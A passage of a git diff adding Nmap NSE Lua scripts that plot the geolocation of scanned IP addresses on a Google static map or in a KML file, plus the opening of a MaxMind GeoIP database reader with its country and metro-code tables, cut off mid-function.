+local table = require "table"
+local url = require "url"
+
+description = [[
+This script queries the Nmap registry for the GPS coordinates of targets stored
+by previous geolocation scripts and renders a Google Map of markers representing
+the targets.
+
+Additional information for the Google Static Maps API can be found at:
+- https://developers.google.com/maps/documentation/static-maps/intro
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script ip-geolocation-geoplugin,ip-geolocation-map-google --script-args ip-geolocation-map-google.api_key=[redacted],ip-geolocation-map-google.map_path=map.png <target>
+--
+-- @output
+-- | ip-geolocation-map-google:
+-- |_ The map has been saved at 'map.png'.
+--
+-- @args ip-geolocation-map-google.api_key The required Google Maps API key for
+-- your account. An API key can be generated at
+-- https://developers.google.com/maps/documentation/static-maps/
+--
+-- @args ip-geolocation-map-google.center GPS coordinates defining the center of the
+-- image. If omitted, Google Maps will choose a center that shows all the
+-- markers.
+--
+-- @args ip-geolocation-map-google.format The default value is 'png' (alias for
+-- 'png8'), 'png32', 'gif', 'jpg', and 'jpg-baseline' are also allowed.
+-- https://developers.google.com/maps/documentation/static-maps/intro#ImageFormats
+--
+-- @args ip-geolocation-map-google.language The default value is 'en', but other
+-- two-letter language codes are accepted.
+--
+-- @args ip-geolocation-map-google.layer The default value is 'roadmap',
+-- 'satellite', 'hybrid', and 'terrain' are also allowed.
+-- https://developers.google.com/maps/documentation/static-maps/intro#MapTypes
+--
+-- @args ip-geolocation-map-google.map_path The path at which the rendered
+-- Google Map will be saved to the local filesystem.
+--
+-- @args ip-geolocation-map-google.marker_style This argument can apply styling
+-- to the markers.
+-- https://developers.google.com/maps/documentation/static-maps/intro#MarkerStyles
+--
+-- @args ip-geolocation-map-google.scale The default value is 1, but values 2
+-- and 4 are permitted. Scale level 4 is only available to Google Maps Premium
+-- customers.
+-- https://developers.google.com/maps/documentation/static-maps/intro#scale_values
+--
+-- @args ip-geolocation-map-google.size The default value is '640x640' pixels,
+-- but can be increased by Google Maps Premium customers.
+-- https://developers.google.com/maps/documentation/static-maps/intro#Imagesizes
+--
+-- @see ip-geolocation-geoplugin.nse
+-- @see ip-geolocation-ipinfodb.nse
+-- @see ip-geolocation-map-bing.nse
+-- @see ip-geolocation-map-kml.nse
+-- @see ip-geolocation-maxmind.nse
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"external", "safe"}
+
+local render = function(params, options)
+ -- Add in a marker for each GPS coordinate.
+ local markers = {}
+ for coords, ips in pairs(geoip.get_all_by_gps()) do
+ table.insert(markers, coords)
+ end
+ params["markers"] = options["marker_style"] .. "|" .. table.concat(markers, "|")
+
+ -- Format the parameters into a properly encoded URL.
+ local query = "/maps/api/staticmap?" .. url.build_query(params)
+ stdnse.debug1("The query URL is: %s", query)
+
+ -- Check that the query string is below the 8192 character limit after
+ -- URL-encoding.
+ if #query > 8192 then
+ return false, ("Refused to send query since URL path is %d chararacters, but Google Maps limits to 8192."):format(#query)
+ end
+
+ local res = http.get("maps.googleapis.com", 80, query)
+ if not res or res.status ~= 200 then
+ return false, ("Failed to receive map using query '%s'."):format(query)
+ end
+
+ local f = io.open(options["map_path"], "w")
+ if not f then
+ return false, ("Failed to open file '%s'."):format(options["map_path"])
+ end
+
+ if not f:write(res.body) then
+ return false, ("Failed to write file '%s'."):format(options["map_path"])
+ end
+
+ f:close()
+
+ return true, ("The map has been saved at '%s'."):format(options["map_path"])
+end
+
+local parse_args = function()
+ local options = {}
+ local params = {}
+
+ local api_key = stdnse.get_script_args(SCRIPT_NAME .. '.api_key')
+ if not api_key then
+ return false, "Need to specify an API key, get one at https://developers.google.com/maps/documentation/static-maps/."
+ end
+ params["key"] = api_key
+
+ local center = stdnse.get_script_args(SCRIPT_NAME .. ".center")
+ if center then
+ params["center"] = center
+ end
+
+ local format = stdnse.get_script_args(SCRIPT_NAME .. ".format")
+ if format then
+ params["format"] = format
+ end
+
+ local language = stdnse.get_script_args(SCRIPT_NAME .. ".language")
+ if language then
+ params["language"] = language
+ end
+
+ local layer = stdnse.get_script_args(SCRIPT_NAME .. ".layer")
+ if layer then
+ params["layer"] = layer
+ end
+
+ local map_path = stdnse.get_script_args(SCRIPT_NAME .. '.map_path')
+ if map_path then
+ options["map_path"] = map_path
+ else
+ return false, "Need to specify a path for the map."
+ end
+
+ local marker_style = stdnse.get_script_args(SCRIPT_NAME .. ".marker_style")
+ if not marker_style then
+ marker_style = ""
+ end
+ options["marker_style"] = marker_style
+
+ local scale = stdnse.get_script_args(SCRIPT_NAME .. ".scale")
+ if scale then
+ params["scale"] = scale
+ end
+
+ local size = stdnse.get_script_args(SCRIPT_NAME .. ".size")
+ if not size then
+ size = "640x640"
+ end
+ params["size"] = size
+
+ return true, params, options
+end
+
+postrule = function()
+ -- Only run if a previous script has registered geolocation data.
+ return not geoip.empty()
+end
+
+action = function()
+ -- Parse and sanity check the command line arguments.
+ local status, params, options = oops.raise(
+ "Script argument problem",
+ parse_args())
+ if not status then
+ return params
+ end
+
+ -- Render the map.
+ return oops.output(render(params, options))
+end
diff --git a/scripts/ip-geolocation-map-kml.nse b/scripts/ip-geolocation-map-kml.nse
new file mode 100644
index 0000000..bd18a38
--- /dev/null
+++ b/scripts/ip-geolocation-map-kml.nse
@@ -0,0 +1,90 @@
+local geoip = require "geoip"
+local io = require "io"
+local oops = require "oops"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+This script queries the Nmap registry for the GPS coordinates of targets stored
+by previous geolocation scripts and produces a KML file of points representing
+the targets.
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script ip-geolocation-geoplugin,ip-geolocation-map-kml --script-args ip-geolocation-map-kml.map_path=map.kml <target>
+--
+-- @output
+-- | ip-geolocation-map-kml:
+-- |_ The map has been saved at 'map.kml'.
+--
+-- @args ip-geolocation-map-kml.map_path (REQUIRED)
+--
+-- @see ip-geolocation-geoplugin.nse
+-- @see ip-geolocation-ipinfodb.nse
+-- @see ip-geolocation-map-bing.nse
+-- @see ip-geolocation-map-google.nse
+-- @see ip-geolocation-maxmind.nse
+
+author = "Mak Kolybabi <mak@kolybabi.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe"}
+
+local render = function(path)
+ local kml = {'<?xml version="1.0" encoding="UTF-8"?>\n<kml xmlns="http://www.opengis.net/kml/2.2">\n <Document>'}
+
+ for ip, coords in pairs(geoip.get_all_by_ip()) do
+ table.insert(kml, ([[
+ <Placemark>
+ <name>%s</name>
+ <Point>
+ <coordinates>%s,%s</coordinates>
+ </Point>
+ </Placemark>]]):format(ip, coords["longitude"], coords["latitude"])
+ )
+ end
+
+ table.insert(kml, ' </Document>\n</kml>\n')
+
+ kml = table.concat(kml, "\n")
+
+ local f = io.open(path, "w")
+ if not f then
+ return false, ("Failed to open file '%s'."):format(path)
+ end
+
+ if not f:write(kml) then
+ return false, ("Failed to write file '%s'."):format(path)
+ end
+
+ f:close()
+
+ return true, ("The map has been saved at '%s'."):format(path)
+end
+
+local parse_args = function()
+ local map_path = stdnse.get_script_args(SCRIPT_NAME .. '.map_path')
+ if not map_path then
+ return false, "Need to specify a path for the map."
+ end
+
+ return true, map_path
+end
+
+postrule = function()
+ -- Only run if a previous script has registered geolocation data.
+ return not geoip.empty()
+end
+
+action = function()
+ -- Parse and sanity check the command line arguments.
+ local status, path = oops.raise(
+ "Script argument problem",
+ parse_args())
+ if not status then
+ return path
+ end
+
+ -- Render the map.
+ return oops.output(render(path))
+end
diff --git a/scripts/ip-geolocation-maxmind.nse b/scripts/ip-geolocation-maxmind.nse
new file mode 100644
index 0000000..018529b
--- /dev/null
+++ b/scripts/ip-geolocation-maxmind.nse
@@ -0,0 +1,628 @@
+local geoip = require "geoip"
+local io = require "io"
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+
+-- TODO: Support IPv6. Database format supports it, but we need to be able to
+-- do equivalent of bit operations on 128-bit integers to make it work.
+
+description = [[
+Tries to identify the physical location of an IP address using a
+Geolocation Maxmind database file (available from
+http://www.maxmind.com/app/ip-location). This script supports queries
+using all Maxmind databases that are supported by their API including
+the commercial ones.
+]]
+
+---
+-- @usage
+-- nmap --script ip-geolocation-maxmind <target> [--script-args ip-geolocation.maxmind_db=<filename>]
+--
+-- @arg maxmind_db string indicates which file to use as a Maxmind database
+--
+-- @output
+-- | ip-geolocation-maxmind:
+-- | coordinates: 39.4899, -74.4773
+-- |_location: Absecon, Philadelphia, PA, United States
+--
+-- @xmloutput
+-- <elem key="latitude">39.4899</elem>
+-- <elem key="longitude">-74.4773</elem>
+-- <elem key="city">Absecon</elem>
+-- <elem key="region">Philadelphia, PA</elem>
+-- <elem key="country">United States</elem>
+--
+-- @see ip-geolocation-geoplugin.nse
+-- @see ip-geolocation-ipinfodb.nse
+-- @see ip-geolocation-map-bing.nse
+-- @see ip-geolocation-map-google.nse
+-- @see ip-geolocation-map-kml.nse
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","external","safe"}
+
+local function get_db_file()
+ return (stdnse.get_script_args(SCRIPT_NAME .. ".maxmind_db") or
+ nmap.fetchfile("nselib/data/GeoLiteCity.dat"))
+end
+
+hostrule = function(host)
+ if nmap.address_family() ~= "inet" then
+ stdnse.verbose1("Only IPv4 is currently supported.")
+ return false
+ end
+ local is_private, err = ipOps.isPrivate( host.ip )
+ if is_private then
+ return false
+ end
+ if not get_db_file() then
+ stdnse.verbose1("You must specify a Maxmind database file with the maxmind_db argument.")
+ stdnse.verbose1("Download the database from http://dev.maxmind.com/geoip/legacy/geolite/")
+ return false
+ end
+ return true
+end
+
+local MaxmindDef = {
+ -- Database structure constants
+ COUNTRY_BEGIN = 16776960,
+ STATE_BEGIN_REV0 = 16700000,
+ STATE_BEGIN_REV1 = 16000000,
+
+ STRUCTURE_INFO_MAX_SIZE = 20,
+ DATABASE_INFO_MAX_SIZE = 100,
+
+ -- Database editions,
+ COUNTRY_EDITION = 1,
+ REGION_EDITION_REV0 = 7,
+ REGION_EDITION_REV1 = 3,
+ CITY_EDITION_REV0 = 6,
+ CITY_EDITION_REV1 = 2,
+ ORG_EDITION = 5,
+ ISP_EDITION = 4,
+ PROXY_EDITION = 8,
+ ASNUM_EDITION = 9,
+ NETSPEED_EDITION = 11,
+ COUNTRY_EDITION_V6 = 12,
+
+ SEGMENT_RECORD_LENGTH = 3,
+ STANDARD_RECORD_LENGTH = 3,
+ ORG_RECORD_LENGTH = 4,
+ MAX_RECORD_LENGTH = 4,
+ MAX_ORG_RECORD_LENGTH = 300,
+ FULL_RECORD_LENGTH = 50,
+
+ US_OFFSET = 1,
+ CANADA_OFFSET = 677,
+ WORLD_OFFSET = 1353,
+ FIPS_RANGE = 360,
+ DMA_MAP = {
+ [500] = 'Portland-Auburn, ME',
+ [501] = 'New York, NY',
+ [502] = 'Binghamton, NY',
+ [503] = 'Macon, GA',
+ [504] = 'Philadelphia, PA',
+ [505] = 'Detroit, MI',
+ [506] = 'Boston, MA',
+ [507] = 'Savannah, GA',
+ [508] = 'Pittsburgh, PA',
+ [509] = 'Ft Wayne, IN',
+ [510] = 'Cleveland, OH',
+ [511] = 'Washington, DC',
+ [512] = 'Baltimore, MD',
+ [513] = 'Flint, MI',
+ [514] = 'Buffalo, NY',
+ [515] = 'Cincinnati, OH',
+ [516] = 'Erie, PA',
+ [517] = 'Charlotte, NC',
+ [518] = 'Greensboro, NC',
+ [519] = 'Charleston, SC',
+ [520] = 'Augusta, GA',
+ [521] = 'Providence, RI',
+ [522] = 'Columbus, GA',
+ [523] = 'Burlington, VT',
+ [524] = 'Atlanta, GA',
+ [525] = 'Albany, GA',
+ [526] = 'Utica-Rome, NY',
+ [527] = 'Indianapolis, IN',
+ [528] = 'Miami, FL',
+ [529] = 'Louisville, KY',
+ [530] = 'Tallahassee, FL',
+ [531] = 'Tri-Cities, TN',
+ [532] = 'Albany-Schenectady-Troy, NY',
+ [533] = 'Hartford, CT',
+ [534] = 'Orlando, FL',
+ [535] = 'Columbus, OH',
+ [536] = 'Youngstown-Warren, OH',
+ [537] = 'Bangor, ME',
+ [538] = 'Rochester, NY',
+ [539] = 'Tampa, FL',
+ [540] = 'Traverse City-Cadillac, MI',
+ [541] = 'Lexington, KY',
+ [542] = 'Dayton, OH',
+ [543] = 'Springfield-Holyoke, MA',
+ [544] = 'Norfolk-Portsmouth, VA',
+ [545] = 'Greenville-New Bern-Washington, NC',
+ [546] = 'Columbia, SC',
+ [547] = 'Toledo, OH',
+ [548] = 'West Palm Beach, FL',
+ [549] = 'Watertown, NY',
+ [550] = 'Wilmington, NC',
+ [551] = 'Lansing, MI',
+ [552] = 'Presque Isle, ME',
+ [553] = 'Marquette, MI',
+ [554] = 'Wheeling, WV',
+ [555] = 'Syracuse, NY',
+ [556] = 'Richmond-Petersburg, VA',
+ [557] = 'Knoxville, TN',
+ [558] = 'Lima, OH',
+ [559] = 'Bluefield-Beckley-Oak Hill, WV',
+ [560] = 'Raleigh-Durham, NC',
+ [561] = 'Jacksonville, FL',
+ [563] = 'Grand Rapids, MI',
+ [564] = 'Charleston-Huntington, WV',
+ [565] = 'Elmira, NY',
+ [566] = 'Harrisburg-Lancaster-Lebanon-York, PA',
+ [567] = 'Greenville-Spartenburg, SC',
+ [569] = 'Harrisonburg, VA',
+ [570] = 'Florence-Myrtle Beach, SC',
+ [571] = 'Ft Myers, FL',
+ [573] = 'Roanoke-Lynchburg, VA',
+ [574] = 'Johnstown-Altoona, PA',
+ [575] = 'Chattanooga, TN',
+ [576] = 'Salisbury, MD',
+ [577] = 'Wilkes Barre-Scranton, PA',
+ [581] = 'Terre Haute, IN',
+ [582] = 'Lafayette, IN',
+ [583] = 'Alpena, MI',
+ [584] = 'Charlottesville, VA',
+ [588] = 'South Bend, IN',
+ [592] = 'Gainesville, FL',
+ [596] = 'Zanesville, OH',
+ [597] = 'Parkersburg, WV',
+ [598] = 'Clarksburg-Weston, WV',
+ [600] = 'Corpus Christi, TX',
+ [602] = 'Chicago, IL',
+ [603] = 'Joplin-Pittsburg, MO',
+ [604] = 'Columbia-Jefferson City, MO',
+ [605] = 'Topeka, KS',
+ [606] = 'Dothan, AL',
+ [609] = 'St Louis, MO',
+ [610] = 'Rockford, IL',
+ [611] = 'Rochester-Mason City-Austin, MN',
+ [612] = 'Shreveport, LA',
+ [613] = 'Minneapolis-St Paul, MN',
+ [616] = 'Kansas City, MO',
+ [617] = 'Milwaukee, WI',
+ [618] = 'Houston, TX',
+ [619] = 'Springfield, MO',
+ [620] = 'Tuscaloosa, AL',
+ [622] = 'New Orleans, LA',
+ [623] = 'Dallas-Fort Worth, TX',
+ [624] = 'Sioux City, IA',
+ [625] = 'Waco-Temple-Bryan, TX',
+ [626] = 'Victoria, TX',
+ [627] = 'Wichita Falls, TX',
+ [628] = 'Monroe, LA',
+ [630] = 'Birmingham, AL',
+ [631] = 'Ottumwa-Kirksville, IA',
+ [632] = 'Paducah, KY',
+ [633] = 'Odessa-Midland, TX',
+ [634] = 'Amarillo, TX',
+ [635] = 'Austin, TX',
+ [636] = 'Harlingen, TX',
+ [637] = 'Cedar Rapids-Waterloo, IA',
+ [638] = 'St Joseph, MO',
+ [639] = 'Jackson, TN',
+ [640] = 'Memphis, TN',
+ [641] = 'San Antonio, TX',
+ [642] = 'Lafayette, LA',
+ [643] = 'Lake Charles, LA',
+ [644] = 'Alexandria, LA',
+ [646] = 'Anniston, AL',
+ [647] = 'Greenwood-Greenville, MS',
+ [648] = 'Champaign-Springfield-Decatur, IL',
+ [649] = 'Evansville, IN',
+ [650] = 'Oklahoma City, OK',
+ [651] = 'Lubbock, TX',
+ [652] = 'Omaha, NE',
+ [656] = 'Panama City, FL',
+ [657] = 'Sherman, TX',
+ [658] = 'Green Bay-Appleton, WI',
+ [659] = 'Nashville, TN',
+ [661] = 'San Angelo, TX',
+ [662] = 'Abilene-Sweetwater, TX',
+ [669] = 'Madison, WI',
+ [670] = 'Ft Smith-Fay-Springfield, AR',
+ [671] = 'Tulsa, OK',
+ [673] = 'Columbus-Tupelo-West Point, MS',
+ [675] = 'Peoria-Bloomington, IL',
+ [676] = 'Duluth, MN',
+ [678] = 'Wichita, KS',
+ [679] = 'Des Moines, IA',
+ [682] = 'Davenport-Rock Island-Moline, IL',
+ [686] = 'Mobile, AL',
+ [687] = 'Minot-Bismarck-Dickinson, ND',
+ [691] = 'Huntsville, AL',
+ [692] = 'Beaumont-Port Author, TX',
+ [693] = 'Little Rock-Pine Bluff, AR',
+ [698] = 'Montgomery, AL',
+ [702] = 'La Crosse-Eau Claire, WI',
+ [705] = 'Wausau-Rhinelander, WI',
+ [709] = 'Tyler-Longview, TX',
+ [710] = 'Hattiesburg-Laurel, MS',
+ [711] = 'Meridian, MS',
+ [716] = 'Baton Rouge, LA',
+ [717] = 'Quincy, IL',
+ [718] = 'Jackson, MS',
+ [722] = 'Lincoln-Hastings, NE',
+ [724] = 'Fargo-Valley City, ND',
+ [725] = 'Sioux Falls, SD',
+ [734] = 'Jonesboro, AR',
+ [736] = 'Bowling Green, KY',
+ [737] = 'Mankato, MN',
+ [740] = 'North Platte, NE',
+ [743] = 'Anchorage, AK',
+ [744] = 'Honolulu, HI',
+ [745] = 'Fairbanks, AK',
+ [746] = 'Biloxi-Gulfport, MS',
+ [747] = 'Juneau, AK',
+ [749] = 'Laredo, TX',
+ [751] = 'Denver, CO',
+ [752] = 'Colorado Springs, CO',
+ [753] = 'Phoenix, AZ',
+ [754] = 'Butte-Bozeman, MT',
+ [755] = 'Great Falls, MT',
+ [756] = 'Billings, MT',
+ [757] = 'Boise, ID',
+ [758] = 'Idaho Falls-Pocatello, ID',
+ [759] = 'Cheyenne, WY',
+ [760] = 'Twin Falls, ID',
+ [762] = 'Missoula, MT',
+ [764] = 'Rapid City, SD',
+ [765] = 'El Paso, TX',
+ [766] = 'Helena, MT',
+ [767] = 'Casper-Riverton, WY',
+ [770] = 'Salt Lake City, UT',
+ [771] = 'Yuma, AZ',
+ [773] = 'Grand Junction, CO',
+ [789] = 'Tucson, AZ',
+ [790] = 'Albuquerque, NM',
+ [798] = 'Glendive, MT',
+ [800] = 'Bakersfield, CA',
+ [801] = 'Eugene, OR',
+ [802] = 'Eureka, CA',
+ [803] = 'Los Angeles, CA',
+ [804] = 'Palm Springs, CA',
+ [807] = 'San Francisco, CA',
+ [810] = 'Yakima-Pasco, WA',
+ [811] = 'Reno, NV',
+ [813] = 'Medford-Klamath Falls, OR',
+ [819] = 'Seattle-Tacoma, WA',
+ [820] = 'Portland, OR',
+ [821] = 'Bend, OR',
+ [825] = 'San Diego, CA',
+ [828] = 'Monterey-Salinas, CA',
+ [839] = 'Las Vegas, NV',
+ [855] = 'Santa Barbara, CA',
+ [862] = 'Sacramento, CA',
+ [866] = 'Fresno, CA',
+ [868] = 'Chico-Redding, CA',
+ [881] = 'Spokane, WA'
+ },
+ COUNTRY_CODES = {
+ '', 'AP', 'EU', 'AD', 'AE', 'AF', 'AG', 'AI', 'AL', 'AM', 'AN', 'AO', 'AQ',
+ 'AR', 'AS', 'AT', 'AU', 'AW', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH',
+ 'BI', 'BJ', 'BM', 'BN', 'BO', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA',
+ 'CC', 'CD', 'CF', 'CG', 'CH', 'CI', 'CK', 'CL', 'CM', 'CN', 'CO', 'CR', 'CU',
+ 'CV', 'CX', 'CY', 'CZ', 'DE', 'DJ', 'DK', 'DM', 'DO', 'DZ', 'EC', 'EE', 'EG',
+ 'EH', 'ER', 'ES', 'ET', 'FI', 'FJ', 'FK', 'FM', 'FO', 'FR', 'FX', 'GA', 'GB',
+ 'GD', 'GE', 'GF', 'GH', 'GI', 'GL', 'GM', 'GN', 'GP', 'GQ', 'GR', 'GS', 'GT',
+ 'GU', 'GW', 'GY', 'HK', 'HM', 'HN', 'HR', 'HT', 'HU', 'ID', 'IE', 'IL', 'IN',
+ 'IO', 'IQ', 'IR', 'IS', 'IT', 'JM', 'JO', 'JP', 'KE', 'KG', 'KH', 'KI', 'KM',
+ 'KN', 'KP', 'KR', 'KW', 'KY', 'KZ', 'LA', 'LB', 'LC', 'LI', 'LK', 'LR', 'LS',
+ 'LT', 'LU', 'LV', 'LY', 'MA', 'MC', 'MD', 'MG', 'MH', 'MK', 'ML', 'MM', 'MN',
+ 'MO', 'MP', 'MQ', 'MR', 'MS', 'MT', 'MU', 'MV', 'MW', 'MX', 'MY', 'MZ', 'NA',
+ 'NC', 'NE', 'NF', 'NG', 'NI', 'NL', 'NO', 'NP', 'NR', 'NU', 'NZ', 'OM', 'PA',
+ 'PE', 'PF', 'PG', 'PH', 'PK', 'PL', 'PM', 'PN', 'PR', 'PS', 'PT', 'PW', 'PY',
+ 'QA', 'RE', 'RO', 'RU', 'RW', 'SA', 'SB', 'SC', 'SD', 'SE', 'SG', 'SH', 'SI',
+ 'SJ', 'SK', 'SL', 'SM', 'SN', 'SO', 'SR', 'ST', 'SV', 'SY', 'SZ', 'TC', 'TD',
+ 'TF', 'TG', 'TH', 'TJ', 'TK', 'TM', 'TN', 'TO', 'TL', 'TR', 'TT', 'TV', 'TW',
+ 'TZ', 'UA', 'UG', 'UM', 'US', 'UY', 'UZ', 'VA', 'VC', 'VE', 'VG', 'VI', 'VN',
+ 'VU', 'WF', 'WS', 'YE', 'YT', 'RS', 'ZA', 'ZM', 'ME', 'ZW', 'A1', 'A2', 'O1',
+ 'AX', 'GG', 'IM', 'JE', 'BL', 'MF'
+ },
+ COUNTRY_CODES3 = {
+ '','AP','EU','AND','ARE','AFG','ATG','AIA','ALB','ARM','ANT','AGO','AQ','ARG',
+ 'ASM','AUT','AUS','ABW','AZE','BIH','BRB','BGD','BEL','BFA','BGR','BHR','BDI',
+ 'BEN','BMU','BRN','BOL','BRA','BHS','BTN','BV','BWA','BLR','BLZ','CAN','CC',
+ 'COD','CAF','COG','CHE','CIV','COK','CHL','CMR','CHN','COL','CRI','CUB','CPV',
+ 'CX','CYP','CZE','DEU','DJI','DNK','DMA','DOM','DZA','ECU','EST','EGY','ESH',
+ 'ERI','ESP','ETH','FIN','FJI','FLK','FSM','FRO','FRA','FX','GAB','GBR','GRD',
+ 'GEO','GUF','GHA','GIB','GRL','GMB','GIN','GLP','GNQ','GRC','GS','GTM','GUM',
+ 'GNB','GUY','HKG','HM','HND','HRV','HTI','HUN','IDN','IRL','ISR','IND','IO',
+ 'IRQ','IRN','ISL','ITA','JAM','JOR','JPN','KEN','KGZ','KHM','KIR','COM','KNA',
+ 'PRK','KOR','KWT','CYM','KAZ','LAO','LBN','LCA','LIE','LKA','LBR','LSO','LTU',
+ 'LUX','LVA','LBY','MAR','MCO','MDA','MDG','MHL','MKD','MLI','MMR','MNG','MAC',
+ 'MNP','MTQ','MRT','MSR','MLT','MUS','MDV','MWI','MEX','MYS','MOZ','NAM','NCL',
+ 'NER','NFK','NGA','NIC','NLD','NOR','NPL','NRU','NIU','NZL','OMN','PAN','PER',
+ 'PYF','PNG','PHL','PAK','POL','SPM','PCN','PRI','PSE','PRT','PLW','PRY','QAT',
+ 'REU','ROU','RUS','RWA','SAU','SLB','SYC','SDN','SWE','SGP','SHN','SVN','SJM',
+ 'SVK','SLE','SMR','SEN','SOM','SUR','STP','SLV','SYR','SWZ','TCA','TCD','TF',
+ 'TGO','THA','TJK','TKL','TLS','TKM','TUN','TON','TUR','TTO','TUV','TWN','TZA',
+ 'UKR','UGA','UM','USA','URY','UZB','VAT','VCT','VEN','VGB','VIR','VNM','VUT',
+ 'WLF','WSM','YEM','YT','SRB','ZAF','ZMB','MNE','ZWE','A1','A2','O1',
+ 'ALA','GGY','IMN','JEY','BLM','MAF'
+ },
+ COUNTRY_NAMES = {
+ "", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates",
+ "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia",
+ "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa",
+ "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina",
+ "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain",
+ "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil",
+ "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize",
+ "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the",
+ "Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands",
+ "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde",
+ "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti",
+ "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia",
+ "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji",
+ "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands",
+ "France", "France, Metropolitan", "Gabon", "United Kingdom",
+ "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland",
+ "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece",
+ "South Georgia and the South Sandwich Islands",
+ "Guatemala", "Guam", "Guinea-Bissau",
+ "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras",
+ "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India",
+ "British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of",
+ "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan",
+ "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis",
+ "Korea, Democratic People's Republic of",
+ "Korea, Republic of", "Kuwait", "Cayman Islands",
+ "Kazakstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia",
+ "Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg",
+ "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of",
+ "Madagascar", "Marshall Islands", "Macedonia",
+ "Mali", "Myanmar", "Mongolia", "Macau", "Northern Mariana Islands",
+ "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives",
+ "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia",
+ "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway",
+ "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia",
+ "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon",
+ "Pitcairn Islands", "Puerto Rico", "Palestinian Territory",
+ "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania",
+ "Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands",
+ "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia",
+ "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal",
+ "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic",
+ "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories",
+ "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan",
+ "Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu",
+ "Taiwan", "Tanzania, United Republic of", "Ukraine",
+ "Uganda", "United States Minor Outlying Islands", "United States", "Uruguay",
+ "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines",
+ "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.",
+ "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte",
+ "Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe",
+ "Anonymous Proxy","Satellite Provider","Other",
+ "Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin"
+ }
+}
+
+local record_metatable = {
+ __tostring = function(loc)
+ local output = {
+ "coordinates (lat,lon): ", loc.latitude, ",", loc.longitude, "\n"
+ }
+
+ if loc.city then
+ output[#output+1] = "city: "..loc.city
+ end
+ if loc.metro_code then
+ output[#output+1] = ", "..loc.metro_code
+ end
+ if loc.country_name then
+ output[#output+1] = ", "..loc.country_name
+ end
+ output[#output+1] = "\n"
+ return table.concat(output)
+ end
+}
+local GeoIP = {
+ new = function(self, filename)
+ if not(filename) then
+ return nil
+ end
+
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o._filename=filename
+ local err
+ o._filehandle= assert(io.open(filename,'rb'))
+ o._databaseType = MaxmindDef.COUNTRY_EDITION
+ o._recordLength = MaxmindDef.STANDARD_RECORD_LENGTH
+
+ local filepos = o._filehandle:seek()
+ o._filehandle:seek("end",-3)
+
+ for i=1,MaxmindDef.STRUCTURE_INFO_MAX_SIZE do
+ local delim = o._filehandle:read(3)
+
+ if delim == '\255\255\255' then
+ o._databaseType = o._filehandle:read(1):byte()
+ -- backward compatibility with databases from April 2003 and earlier
+ if (o._databaseType >= 106) then
+ o._databaseType = o._databaseType - 105
+ end
+
+ local fast_combo1={[MaxmindDef.CITY_EDITION_REV0]=true,
+ [MaxmindDef.CITY_EDITION_REV1]=true,
+ [MaxmindDef.ORG_EDITION]=true,
+ [MaxmindDef.ISP_EDITION]=true,
+ [MaxmindDef.ASNUM_EDITION]=true}
+
+ if o._databaseType == MaxmindDef.REGION_EDITION_REV0 then
+ o._databaseSegments = MaxmindDef.STATE_BEGIN_REV0
